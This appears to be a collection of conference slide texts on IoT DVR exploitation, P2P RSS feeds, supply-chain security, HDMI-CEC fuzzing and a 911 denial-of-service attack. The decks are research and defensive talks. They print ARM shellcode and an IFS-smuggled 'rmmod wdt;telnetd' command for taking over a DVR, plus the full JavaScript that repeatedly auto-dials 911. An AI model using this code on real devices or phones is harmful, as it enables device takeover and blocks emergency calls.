From Dvr to See Exploit of IoT Device 0K5y Nobody@360GearTeam 1559113201 Date Larryxi Nobody@360GearTeam What’s time 0x00 Content 0x01 Preface 0x02 Vulnerability Mining 0x03 Debugging Environment 0x04 Exploiting 0x05 Summary 0x01 Preface Welcome and Thanks IoT Four Modules IoT Current Situation and Problems IoT Architecture and Exploit IoT Attack Roads to Rome 0x02 Vulnerability Mining Environment Preview Get firmware in ten ways Software Hardware Get information after first-look `telnetd` commented out in `etc/init.d/S99` Weak password found in `/etc/passwd` Armel architecture known by `file /bin/busybox` Get general method Web-side command injection or buffer overflow Obtain the shell by the root weak password or not 0x02 Vulnerability Mining Web Vulnerability Static resources of the background pages can be seen in burp Identity information is passed in url to get dynamic resources Some cgis can be accessed without authentication Some cgis can execute certain commands such as reboot USELESS 0x02 Vulnerability Mining Buffer Overflow 0x02 Vulnerability Mining Buffer Overflow 0x03 Debugging Environment Get Debug Interface Cannot remote debug through telnet shell UART interface only has log output Cannot get system shell through modifying uboot init args Face Problems REPACKING 0x03 Debugging Environment Get Debug Interface Round One 0x03 Debugging Environment Get Debug Interface Round Two 0x03 Debugging Environment Get Debug Interface Fight 0x03 Debugging Environment Cross-compilation Environment gdbserver-7.7 + gdb-multiarch-7.12 = keng gdbserver-7.11 + gdb-multiarch-7.12 = zhengxiang 0x04 Exploiting Security Mechanism No GS No NX ASLR is 1, address of uClibc is indeed randomized Vectors segment address range is fixed Watchdog exists in kernel module 0x04 Exploiting Security Mechanism 0x04 Exploiting Exploit Plan Get exception before function returns Haystack of strcasestr is overwriten in payload Get fixed readable address in vectors section 0x04 Exploiting Exploit Plan Due to truncation, cannot find one-gadget in code Gadgets in vectors are useless neither 0x04 Exploiting Exploit Plan Bypass ASLR Information leak: http response is limited, unlike the serial port Violent hacking: program is restarted after crash Heap spray: processing thread uses shared heap allocated by brk 0x04 Exploiting Exploit Plan Reverse Http Processing 0x04 Exploiting Exploit Plan Reverse Http Processing 0x04 Exploiting Exploit Plan Review Vulnerability Environment 0x04 Exploiting Exploit Plan Two Pops Jump to `GET /cgi-bin/xxx.cgi?p=xxx HTTP/1.1\r\n` 0x04 Exploiting Shellcode Construction Badchar and Nop `\x00\x0d\x0a\x20`and `GETB` 0x04 Exploiting Shellcode Construction Play With Execve #include <unistd.h> int main(void) { execve("/bin/sh", 0, 0); return 0; } #include <unistd.h> int main(void) { char* argv[] = {"busybox", "rmmod", "wdt", 0}; execve("/bin/busybox", argv, 0); return 0; } 0x04 Exploiting Shellcode Construction Learn From Pwnlib eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x786f6279 \x79\x62\x6f\x78 ybox push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x7375622f \x2f\x62\x75\x73 /bus push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6e69622f \x2f\x62\x69\x6e /bin push {r7} \x80\xb4 mov r0, sp \x68\x46 mov r7, #0x74 \x4f\xf0\x74\x07 t push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x64770064 \x64\x00\x77\x64 d\x00wd push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6f6d6d72 \x72\x6d\x6d\x6f rmmo push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0xff786f62 \x62\x6f\x78\xff box\xff lsl.w r7, r7, #8 \x4f\xea\x07\x27 lsr.w r7, r7, #8 \x4f\xea\x17\x27 box\x00 push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x79737562 \x62\x75\x73\x79 busy push {r7} \x80\xb4 eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 mov.w r1, #0x12 \x4f\xf0\x12\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0x10 \x4f\xf0\x10\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0xc \x4f\xf0\x0c\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov r1, sp \x69\x46 eor.w r2, r2, r2 \x82\xea\x02\x02 mov.w r7, #0xb \x4f\xf0\x0b\x07 svc #0x41 \x41\xdf 0x04 Exploiting Shellcode Construction Learn From Pwnlib eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x786f6279 \x79\x62\x6f\x78 ybox push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x7375622f \x2f\x62\x75\x73 /bus push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6e69622f \x2f\x62\x69\x6e /bin push {r7} \x80\xb4 mov r0, sp \x68\x46 mov.w r7, #0x64 \x4f\xf0\x64\x07 d push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0x6f6d6d72 \x72\x6d\x6d\x6f rmmo push {r7} \x80\xb4 ldr.w r7, [pc, #4] \xdf\xf8\x04\x70 b #6 \x01\xe0 0xff786f62 \x77\x64\x74\xff wdt\xff lsl.w r7, r7, #8 \x4f\xea\x07\x27 lsr.w r7, r7, #8 \x4f\xea\x17\x27 wdt\x00 push {r7} \x80\xb4 eor.w r7, r7, r7 \x87\xea\x07\x07 push {r7} \x80\xb4 mov.w r1, #0x4 \x4f\xf0\x04\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0xc \x4f\xf0\x0c\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov.w r1, #0x1d \x4f\xf0\x1d\x01 add r1, sp, r1 \x69\x44 push {r1} \x02\xb4 mov r1, sp \x69\x46 eor.w r2, r2, r2 \x82\xea\x02\x02 mov.w r7, #0xb \x4f\xf0\x0b\x07 svc #0x41 \x41\xdf 0x04 Exploiting Complete Exploit Write Script to `sh` #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> void main() { int fd = open("/tmp/XXX", O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR); write(fd, "rmmod${IFS}wdt;telnetd", 22); close(fd); } Video 0x05 Summary IoT Vulnerability pushs forward security awareness Attack thought is same but not limited Attack takes result, defense takes process From Dvr to See Exploit of IoT Device Sina@Larryxi Larryxi larryxi@ngrep.me
pdf
DUST Your Rss Feed belongs to you! Chema Alonso chema@informatica64.com Juan Garrido «Silverhack» jgarrido@informatica64.com Once upon a time…. … and we believed it • Internet is a space of freedom • All opinions are allowed • Freedon for news • Nobody controls Internet • Neutrality • Anonimaty • No Rules • …. We lived in the age of Aquarius Our biggest problem: Trolls ..and we managed as cultured people But them…. …and we leaved out Matrix We don´t like you! We don´t like you! We don´t like you! We don´t like you! 4nOym0us HBGary Ownage • Backdoors: – Task B y 12 monkeys • Fake FaceBook profiles • Viral propaganda on Intenet Internet has weaknesses • Network connections – Great Wall Firewall in China – BGP Attack in Egypt • DNS systems – Wikileaks.org – Rojadirecta.org • Laws, – Every Country – International Laws Spain: Our politicians… Aren´t you somehow …..? How to shout you off ? • GOAL: To disconnect your audience. • HOW? – Taking the root off • (owning the system) – Making it unavailable • D.O.S. – Making it unlocalizable • Closing the domain name • Blocking service accounts – Facebook – Twitter – Google… • Infosec war (Banning from web searchers) – Throwing on it the law Some fixes: OpenNIC Some Fixes: P2P DNS Workarrounds: OSIRIS CMS But, what happend if you… Watch out what you say... If you have nothing to hide therefore you have nothing to fear … until we change the policy Watch out what you say... Your RSS is under survilliance Enjoy but… I am reading your RSS From blogger to reader • Domain name – Browsing the web • RSS Suscriptions – Readers connected to the XML Feed • Author? – Blogger system account – Domain name – Http RSS Feed FeedBurner It they close your blog? • If blog is taken down you can change the feed, but if you got the feed with them.. Silence… Calm… DUST: Redundant Feeds by Http & P2P • RSS Feed PGP-signed by P2P. • RSS Feeds reader from a source – Http (multiple-ones) – P2P (multiple-Public PGP Keys) • Republish of content – RSS Feed – Just posts or comments DUST: Redundant Feeds by Http & P2P • RSS Feeds are PGP-signed – From the web • To create another communication channel. • From Internal severs: – your own computer blog system Local files • Any XML RSS Feed in disk. • Any sent-by-email RSS feed. (Not a public IP addres to be DOSed nor a domain name to be closed) DUST: Redundant Feeds by Http & P2P DUST: Redundant Feeds by Http & P2P DUST: Redundant Feeds by Http & P2P • Feed is distributed by P2P networks – POC: Right now only in GNUTella (serveless) • Different methods – Feed RSS with linked pgp-signed files – Feed RSS with embbeded files – Only posts with embbeded dfiles DUST: Redundant Feeds by Http & P2P • Anyone can re-publish the RSS Feed • Anyone can re-publish posts • Anyone can follow a chanel of a PGP Key • Everybody shares downladed feeds • Anyone can re-sign the information – Multiple files (File Pollution) DUST: Subscripción a Feeds RSS - HTTP Suscription - DUST Suscription - A clave PGP - A clave y Canal DUST: RSS Feeds Reader DUST • Automaticly detect redundant sources y the XML file of the RSS Feed: – HTTP -> New URL to download copies. – DUST -> New P2P/PGP channel • Automaticly import sources from Google Reader – Easy to migrate DUST: Meanwhile …under the hood DUST: under the hood • P2P connections • Seraching using GNUTella – SHA1(Public PGP) – Channels/PGP • Size limits • PGP checks • If rogue node then jump! • XML files are server vía Http • Port configuration • Shares all downaladed feeds Demo DUST is in beta, but needs users • Let´s do something cool for social-media- victims… DUST: Services • Send us your PGP-signed RSS feed and we republish it on P2P network • Read a feed, and share it vía DUST • Dust is in Java, help us to improve it. • Open Source • Let´s contol our channels… Gracias! • Chema Alonso • Alejandro Martín • David Luengo • Ignacio Briones • Alejandro «para» Nolla
pdf
供应链安全分享 Greta Fan 供应链攻击案例 Solarwinds 特点 应对 伪装主机名 主动适配目标地区IP 横向移动 临时文件替换 1. 登录IP检查 2. 登录活动检查 3. 任务和文件监控 4. 高权限账户活动监控 高隐蔽性 范围极 广 针对性强 组织严密 持续性长 1. 资产和软件生命周期 安全管理 2. 安全开发管理 3. 针对供应链安全事故 的应急响应 供应链攻击案例 Solarwinds 供应链安全管理 管理框架 前瞻性为 导向 综合的风 险管理 效率和有 效性控制 领导和透 明性 业务部门 其他部门 合规风险管 理委员会 高层管理 董事会 内审/风控委 员会 供应链安全管理 供应商管理框架——供应商分类分级管理 等级 定义 1 不涉及数据处理 2 涉及内部数据处理 3 涉及少量敏感信息处理 4 …… 5 …… • 根据数据敏感程度/数据量 • 根据供应商的依赖程度 等级 定义 1 出事故不会影响业务 2 可以立刻恢复业务 3 可以在短时间内恢复业务 4 …… 5 …… • 根据供应商规模大小 • 根据合作时间 • 根据合作金额大小 • …… 供应链安全管理 供应链管理 系统 供应商 供应商 自研 开源框 架 企业 自研 开源框 架 以 系 统 为 核 心 供应链安全管理 供应链风险矩阵 风险等级 可替代性 影响业务 整改难度 1 完全可替代 无影响 简单或无需整改 2 稍微修改即可替代 较小影响 较简单 3 需要较大努力可替代 有影响 需要一个月以内时间 4 需要很大努力才可能替代 很大影响 需要一个月以上时间 5 不可替代 很大影响 垄断,不受控 重点监控,事前发现 供应链安全管理 项目流程中的安全 威胁评估 安全需求 分析 架构检查 需求确定 需求分析 架构设计 实施 整合 验证 检查 漏洞管理 源代码 • 项目计划 • 项目评估和 控制 • 决策管理 • 风险管理 • 配置管理 • 信息和数据 管理 供应链安全管理 供应链安全管理的挑战 新技术,新威胁 零售行业发展迅速,业务部门施压 专业技术人员 招聘、培训专业人员的成本巨大 投资回报率 ROI,一个永恒的难题 供应链安全管理 Best Practice 标准化,体系化,以及集中化的供应商管理 整个企业内部进行长久和持续的沟通,培训 1 2 关键供应商进行定期审计 3 各类监控工具,防御工具确保业务连续性 4 可针对关键业务购买保险 5
pdf
HIGH-DEF FUZZING EXPLORING VULNERABILITIES IN HDMI-CEC               name = "Joshua Smith"               job  = "Senior Security Researcher"               job += "HP Zero Day Initiative"               irc  = "kernelsmith"               twit = "@kernelsmith" Which of the following is false? 1. Have had 10 knee surgeries... and 5 others 2. Worked at JHUAPL... did mostly weapon sys assessments 3. Was voted "most athletic" in high school... don't judge a book by its cover ;) 4. Previously ran assessments at the 92d Info. Warfare Aggressor Sq. (USAF)... now 92d Info. Ops. Sq - vuln assessments/pentests/red teams 5. Have a B.S. in Computer Engineering from RPI... Aeronautical. Also, an MIS & some CS from JHU 6. Am an external Metasploit dev... since Feb 2013 7. Had C2 of 50 nuclear ICBMs on 9/11... interesting story Overview What is CEC Specs & Implementations Design Details Protocol Attack Vectors & Surface Fuzzing CEC Some Results Future Work Why? Wanted to research an area that was relatively untouched For me: assembly > C/C++ and RISC > CISC Another attack vector for mobile devices via: Mobile High-Definition Link (MHL) Slimport Many car stereos as well My son is completely obsessed with cords/wires, esp HDMI Previous Research HDMI – Hacking Displays Made Interesting Andy Davis BlackHat EU 2012 GUI Python CEC fuzzer Somewhat simplistic No exception monitoring No crash data gathering What is HDMI? High Def Multimedia Interface HDMI is an interface specification Implemented as cables & connectors Successor to DVI What is CEC? Consumer Electronics Control Feature defined in the HDMI spec Allows user to command & control up to 15 devices Can relay commands from remotes It's what automatically changes your TV input Vendor-extendable Adopted by some other technologies That Don't Look Like HDMI! Still has CEC however Slimport Think ~ Amazon, Google, Blackberry, LG G+ Mobile High-Definition Link (MHL) Think ~ HTC, LG Optimus+, Samsung (not G6) Remote Control Protocol Specs & Features History Ver Published Features 1.0 Dec 2002 Boring stuff 1.1 May 2004 Boring stuff 1.2 Aug 2005 Boring stuff 1.2a* Dec 2005 Fully spec'd CEC * This is the good stuff, for vulnerabilities anyway Specs & Features History Continued Ver Published Features 1.3-3c '06-'08 Whizz-bang A/V & new conns 1.4* May 2009 Features++: 4k, HEC, ARC, 3D, micro 2.0 Sep 2013 4k @60fps, Dual View, 3D++, CEC++ * Most widely deployed & available, more in a sec Interesting 1.4 Features ARC (Audio Return Channel) HEC (HDMI Ethernet Connection) 100Mb/s Enables traditional networking w/HDMI CEC Details 1-wire bidirectional serial bus Slow: 500 bit/s Uses AV.link protocol to perform remote control functions For HDMI: CEC wiring is mandatory CEC functionality (software support) is optional Notable Implementations Commercial industry uses various trade names Anynet+ (Samsung), Aquos Link (Sharp), BRAVIA Link/Sync (Sony) SimpLink (LG), VIERA Link (Panasonic), EasyLink (Philips), etc Open Source libCEC (dual commercial license) Android HDMI-CEC Android HDMI CEC CEC Addressing PHYSICAL N.N.N.N where 0x0<=N<=0xF Root display (TV) is always 0.0.0.0 Required as CEC has a notion of switching LOGICAL L where 0x0<=L<=0xF Root display (TV) is always 0 Negotiated by product type Example: first STB in system is always 3 Logical Addresses Address Device Address Device 0 TV 8 Playback Dev 2 1 Rec. Device 1 9 Rec Device 3 2 Rec. Device 2 10 Tuner 4 3 Tuner 1 11 Playback Dev 3 4 Playback Dev 1 12 Reserved 5 Audio System 13 Reserved 6 Tuner 2 14 Free Use 7 Tuner 3 15 Unreg/Broadcast CEC Protocol Header Block Source Dest EoM Ack 3 2 1 0 3 2 1 0 E A (4bits) Logical address of source (4bits) Logical address of dest (2bits) Control bits (EoM & Ack) Example: 0100:0000:0:0 = Src 4, Dest 0 Data Block Data EoM Ack 7 6 5 4 3 2 1 0 E A (8bits) Data (Big-endian/MSB first) (2bits) Control bits (EoM & Ack) Example: 01000001:1:0 = "A" Opcode Block Really just a data block Opcode EoM Ack 7 6 5 4 3 2 1 0 E A (8bits) Opcode (Big-endian/MSB first) (2bits) Control bits (EoM & Ack) Example: 10000010:1:0 = 0x82 (Active Source) CEC Protocol The long and short of it... 0F - Broadcast ping 1 F :82 :10:00 Source Dest (Bcast) Opcode (Active Src) Param (PA of src) 1 0 :64 :44:65:66:43:6F:6E:20:32:33 Source Dest (TV) Opcode (Set OSD String) Msg params 44: Display control flags, rest is ASCII string S D :OP :41:41:41:41:41:41:41:41:41:41:41:41:41:41 Source Dest Opcode Msg params CEC Protocol Pinging and Polling The "Ping" EOM bit in header is set to 1 Used to poll for devices etc (fuzz monitor?) Source & dest addresses will be different Also used for allocating Logical Addresses Source & dest addresses are the same CEC Protocol Additional Info Big-endian/MSB first Text is only printable ASCII (0x20 <= A <= 0x7E) Messages can be directly addressed, broadcast, or either Should ignore a message coming from address 15, unless: Message invokes a broadcast response Message has been sent by a CEC Switch The message is Standby CEC Protocol Transmission (Flow) Control 3 mechanisms to provide reliable frame transfer 1. Frame re-transmissions (1 to 5) 2. Flow control 3. Frame validation (ignore msgs w/wrong #args) A message is assumed correctly received when: It has been transmitted and acknowledged A message is assumed to have been acted upon when: Sender does not receive Feature Abort w/in 1sec Might be useful during fuzzing Attack Vectors & Thoughts HDMI-network exploitation via CEC HDMI Ethernet Channel (HEC) Network connectivity to things thought un-networked Great place to hide Range of targetable devices TVs, BluRays, receivers, "TV Sticks", game consoles? Mobile phones & tablets Devices implementing MHL/Slimport Known popular mobile devices that implement MHL Known popular mobile devices that implement MHL Attack Surface CEC commands CEC vendor-specific commands HEC commands HEC functionality Finding Vulns Approaches Identify "at-risk" messages & fuzz Source Code Analysis Hard to come by except libCEC & Android Reverse Engineering Can be hard to get all the firmwarez Expect different architectures MIPS, ARM, ARC etc MIPS is generally most popular so far Interesting Messages String operations Set OSD Name (0x47) Preferred name for use in any OSD (menus) Set OSD String (0x64) Text string to the TV for display Set Timer Program Title (0x67) Set the name of a program associated w/a timer Vendor-specific Messages Because who knows what they might do In Order to Fuzz We Need to Answer Some Questions How can we send arbitrary CEC commands? How can we detect if a crash occurred? Sending Messages Hardware ~0 {lap,desk}tops with HDMI-CEC Many have HDMI, none have CEC Adapters Pulse-Eight USB-HDMI RainShadow HDMI-CEC to USB Bridge Raspberry Pi RPi & P8 adapter both use libCEC :) Sending Messages Software Pulse-Eight driver is open source (libCEC) Dual-licensed actually (GPLv2/Commercial) Python SWIG-based bindings Supports a handful of devices Fuzzing CEC libCEC Can send CEC messages with: Raspberry Pi + libCEC P8 USB-HDMI adapter + libCEC But can we really send arbitrary CEC messages? lib.Transmit(CommandFromString("10:82:41:41:41:41:41:41:41")) YES. It would appear at least. To know for sure, had to ensure libCEC was not validating. Fuzzing Process It has been done (Davis) with Python + RainbowTech serial API I actually did not know this until late in the research RainbowTech device has a nice simple serial API Not much complex functionality I had already started down the path below libCEC + Python since pyCecClient is already a thing Can use the P8 USB adapter and/or Raspberry Pi(s) May port to Ruby since SWIG & Ruby++ https://media.blackhat.com/bh-eu-12/Davis/bh-eu-12- Davis-HDMI-WP.pdf Fuzzing Process Major Steps ID Target and Inputs Generate Fuzzed Data Execute Fuzzed Data Monitor for Exceptions Determine Exploitability Fuzzing: Brute Force Vulnerability Discovery (Sutton, Michael; Greene, Adam; Amini, Pedram) Generate Fuzzed Data Started with "long" strings and string-based messages Format strings Parameter abuse Vendor-specific messages Simple bit-flipping Adopted some from Davis work Execute Fuzzed Data 1. Poll device 2. Send message Monitor for Exceptions 1. Check for ack if applicable 2. Poll again 3. If debug, use that 4. If shell, check if service/app still running 5. If TV, will probably notice crash, fun, hard to automate 6. If exception, record msg & state & debug details if avail If Shell but !Debugger Samsung BluRay Player has BASH But not 'watch' Fake it: while true; do   date   ps aux | grep "[a]pp_player"   if [ $? ­ne 0 ]; then     # do crash investigation   fi   sleep 0.5 done Also TTY Output [API_CECCMD_FeatureAbort] Return value is 0x31 API_CECCMD_FeatureAbort(op:0xB4) start. [AP_INFOLINK/Fatal] 8:Starting background widget manager !!! [TCFactory::GetOption] option = 37 value = 0 [TCFactory::GetOption] option = 51 value = 0 [API_CECCMD_FeatureAbort] Return value is 0x36 verified = 1 [AP_INFOLINK/Fatal] 9:CWidgetEngine::createSmartSideBar ret TRUE [AP_INFOLINK/Fatal] 10:CWidgetEngine::activateSmartSideBar ret TRUE DETERMINE EXPLOITABILITY This is kind of an adventure unless debug Specific to each device Fuzzing Complications Getting Hold of Devices They are around you however, just need to look Can also emulate w/QEMU + firmware Speed 500 bits/s Not much we can do about that Fuzz multiple devices simultaneously RE targets to focus the fuzz Fuzzing Complications Continued Debugging Need to get access to the device Probably no debugger Often painful to compile one for it Keep an eye out for gdbserver files however Collect Data Deduplicate Repro Targets Home Theater Devices Samsung Blu-ray Player (MIPS) Targeted because already have shell (Thx Ricky Lawshae & Jon Andersson) Local shell to get on & study device Philips Blu-ray Player Samsung TV Panasonic TV Chromecast Amazon Fire TV Stick Targets Mobile devices Kindle Fire Galaxy S5 (S6 dropped MHL) Galaxy Note Chromebook Results There's definitely more to be done Issues Discovered Panasonic TV Samsung Blu-ray Player Panasonic Can Haz Upgrade? Samsung's app_player Handles CEC for BluRay player Pulled via Ricky's root shell Did some manual RE and Rudimentary analysis with some ghetto IDAPython banned = ['memcpy', 'strcpy', 'strncpy', 'etc...'] for func in banned:   print('Processing ' + func)   for xref in idautils.CodeRefsTo(idc.LocByName(func), True):     print(idc.Name(       idc.GetFunctionAttr(         xref, idc.FUNCATTR_START         )) + ' disasm: ' + idc.GetDisasm(xref)) Samsung's app_player jalr $t9; strcpy => 333 jalr $t9; strncpy => 409 jalr $t9; memcpy => 310 jalr $t9; [.*]printf => 11685 /me wrings hands However, most are not called by CEC code :( 3 memcpy's, 2 of which I had already found manually 73 printf's, but aren't (so far) exploitable conditions app_player Post exploitation Enable HEC Enable LAN Attack LAN services if nec Enable higher speed exfil etc Control an MHL device Beachhead for attacking other devices Hiding Future Work Unuglify my Python Integrate into bigger/better fuzz framework Exploit CEC & bind shell to network interface Exploit CEC, enable HEC, bind shell to HEC interface Exploit CEC & "bind" shell to HDMI interface Explore attack surface of: HDMI: 3D, Audio Return Channel, more w/HEC Feature adds to CEC (HDMI 2.0) Moar devices Emulation Conclusion Becoming more and more pervasive and invasive Old vuln types may be new again May be benefitting simply because code is newer Hard, sometimes impossible, to upgrade, maintain, configure Risk = Vulnerabilty x Exposure x Impact Exposure is growing Impact is probably highest for your privacy Links not yet tho P8 USB-HDMI Adapter Simplified Wrapper & Interface Generator Reveal.js github.com/ZDI/hdfuzzing blackhat.com/bh-eu-12-Davis-HDMI github.com/Pulse-Eight/libcec hdmi.org www.pulse-eight.com swig.org github.com/hakimel/reveal.js cec-o-matic.com
pdf
INSIDE THE “MEET DESAI” ATTACK: DEFENDING DISTRIBUTED TARGETS FROM DISTRIBUTED ATTACKS @CINCVOLFLT (TREY FORGETY) HACKER, LAWYER NAVIGATOR, PHYSICIST NENA: The 9-1-1 Association improves 9-1-1 through research, standards development, training, education, outreach, and advocacy. www.NENA.org IN NOVEMBER, 2016, A TEENAGER FROM ARIZONA LAUNCHED A TDoS ATTACK ON 9-1-1 CENTERS IN SEVERAL STATES WITH 8 LINES OF CODE AND A TWEET MATHEMATICAL ASIDE: MR. ERLANG’S MAGIC FORMULA 𝑷𝑷𝒃𝒃 = 𝑩𝑩 𝑬𝑬, 𝒎𝒎 𝑬𝑬𝒎𝒎 𝒎𝒎! ∑ 𝑬𝑬𝒊𝒊 𝒊𝒊! 𝒎𝒎 𝒊𝒊+𝟎𝟎 𝑷𝑷𝒃𝒃 = 𝑬𝑬𝒎𝒎 𝒎𝒎! ∑ 𝑬𝑬𝒊𝒊 𝒊𝒊! 𝒎𝒎 𝒊𝒊+𝟎𝟎 𝑃𝑃. = 𝐸𝐸0 𝑚𝑚! ∑ 𝐸𝐸2 𝑖𝑖! 0 2+4 Pb is “Probabilty of Blocking”: How often can a {call, agent, GET} fail? This is a design criterion: How much failure can we tolerate? 𝑃𝑃. = 𝐸𝐸0 𝑚𝑚! ∑ 𝐸𝐸2 𝑖𝑖! 0 2+4 m is the # of identical, parallel resources How many {lines, bps, servers} do we have? This is a design constraint: How many widgets can we afford? 𝑃𝑃. = 𝐸𝐸0 𝑚𝑚! ∑ 𝐸𝐸2 𝑖𝑖! 0 2+4 E is the normalized ingress load How many {calls, bps, GETs} do we expect? This is a design estimate: How much traffic is normal? But: What does it mean to have a “load” of calls, when their arrivals and lengths are (mostly) random? The “normalized” ingress load, E: 𝛌𝛌 is the # of calls per unit time This is an observation or estimate: How many calls do we expect to arrive each second in our busiest hour? 𝐸𝐸 = 𝜆𝜆ℎ The “normalized” ingress load, E: h is the average holding time This is an observation or estimate: How long do our calls take to service, on average? 𝐸𝐸 = 𝜆𝜆ℎ 𝑃𝑃. = 𝐸𝐸0 𝑚𝑚! ∑ 𝐸𝐸2 𝑖𝑖! 0 2+4 High-Ingress-Rate Vulnerability: For 𝐸𝐸 ≫ 𝑚𝑚, 𝑃𝑃. → 1 This is could be due to higher-than- expected arrival rate, or longer-than- expected holding time. BEN GURION UNIVERSITY: ESTIMATED 1.7053 TRUNKS PER 10,000 POPULATION 75% SHARED / 9.5% WIRELESS-ONLY NENA: PROBABLY <= 12 WIRELESS TRUNKS PER PSAP (ON AVERAGE) EXAMPLE: BG PAPER PREDICTS ~79-95 WIRELESS-USABLE TRUNKS FOR DENVER (PROPER) (663K POPS) EXAMPLE: DENVER REPORTS 32 ~2.5-3X < PREDICTION 2012 TDoS/Cyber WG FOCI: ANDROID MALWARE GEOFENCED TARGETING SINGLE-PSAP IMPACTS OUTCOMES: RECOGNIZING AN ATTACK REPORTING AN ATTACK RECOVERING SERVICE BUT WE THOUGHT IT WOULD BE DIFFERENT EVERYONE EXPECTED NATIVE, MALICIOUS, EXECUTABLE CODE OR A HACKED VoIP SYSTEM 675 UNPROTECTED VoIP CALL MANAGERS 900,000,000 KNOWN-VULNERABLE ANDROID DEVICES LIMITED BY USER/ INTERCONNECT LOCATION DIFFICULT TO SCALE NO ONE CONSIDERED DISTRIBUTED ATTACKS ON DISTRIBUTED TARGETS A PRACTICAL ATTACK: 1 YouTube COMMENT 1 OBFUSCATED URL 8 LINES OF BASIC CODE ~1,200 TWITTER FOLLOWERS @meetheindiankid (THANKFULLY NOT A KARDASHIAN) A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET AMPLIFYING FACTORS: MUSIC COMMUNITY SOCIAL MEDIA PERSONALITIES TIMING RTs WITH “LOLs” USER IGNORANCE A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET Input: http://www.ReallyShadyURL.com Output: goo.gl/rYMFZu Print a bunch of “LoL”s in the user’s browser Define a link to a telephone number: +1911 Define a link to an email address: distraction@none.com Start a script Start a loop, defined to run many times Click telephone link (Call 9-1-1!) Click mail link (Distract the User) Return to start of loop End the Script <h1>LOLOLOLOLOLOLOLOLOL</h1> <a href=“tel:+1911” id=“tel”></a> <a href=“/cdn/cgi/l/email-protection#... Virus on your device! Call Apple Support Now!” id=“mail”></a> <script type=“text/rocketscript”> for(i=0;i<101001010100101010010;i++){ document.getElementById(“tel”).click(); document.getElementById(“mail”).click(); window.location = window.location; } </script> Print a bunch of “LoL”s in the user’s browser Define a link to a telephone number: +1911 Define a link to an email address: distraction@none.com Start a script Start a loop, defined to run many times Click telephone link (Call 9-1-1!) Click mail link (Distract the User) Return to start of loop End the Script PROMPT EFFECTS: >117,500 CLICKS PROMPT EFFECTS: OVERLOADS AT PSAPs 12 STATES CONFIRMED PEAK TRAFFIC >6x NORMAL PROMPT EFFECTS: CONFUSION DUE TO NON-UNIFORM CARRIER DISTRIBUTION OF FOLLOWERS ABOVE SOME THRESHOLD, NOTHING IS SAFE REMEDIATION: 1. STOP PROPAGATION 2. DE-OBFUSCATE 3. BLACKHOLE REMEDIATION 1 PAUSE SOURCE ACCOUNT(S) & FILTER MALICIOUS LINK REMEDIATION 2 DISABLE SHORTENED URL REMEDIATION 3 TAKEDOWN WEBSITE REMEDIATION 3 BLACKHOLE DOMAIN A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET REMEDIATION 4 ARREST MORONS A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET A PRACTICAL ATTACK: 6 LINES OF BASIC CODE 1 OBFUSCATED URL 1 TWEET iOS WEB-DIAL VULNS DISCLOSED IN ‘08 CVE-2008-4233 CVE-2009-0960 CVE-2009-0961 h/t @collinrm Source:https://support.apple.com/en-us/HT207617 SO WE’RE VULNERABLE. HOW DO WE DEFEND? LEGACY: 1. OVER-PROVISIONING 2. CONTEXTUAL WHITELISTING 3. BLACKLISTING LEGACY: 1. EXPENSIVE / IMPOSSIBLE 2. NO “CUSTOMER” LISTS 3. DANGEROUS (LAWYERS!) TRANSITIONAL: 1. NUMBER REPUTATION SCORES 2. REAL-TIME THREAT SCORES TRANSITIONAL: 1. DANGEROUS (LAWYERS!) 2. DIVERSON NOT TESTED (YET) NEXT-GENERATION: 1. STIR/SHAKEN 2. BAD-ACTOR MARKING 3. SUSPICIOUS CALL DIVERSION NEXT-GENERATION: 1. PKI IS DIFFICULT 2. NEEDS TIME TO TUNE 3. DIVERSION NOT TESTED (YET) WIP: DHS PILOT ON THREAT SCORES IETF/ATIS STIR/SHAKEN NENA i3 & NG-SEC NENA: The 9-1-1 Association improves 9-1-1 through research, standards development, training, education, outreach, and advocacy. www.NENA.org
pdf
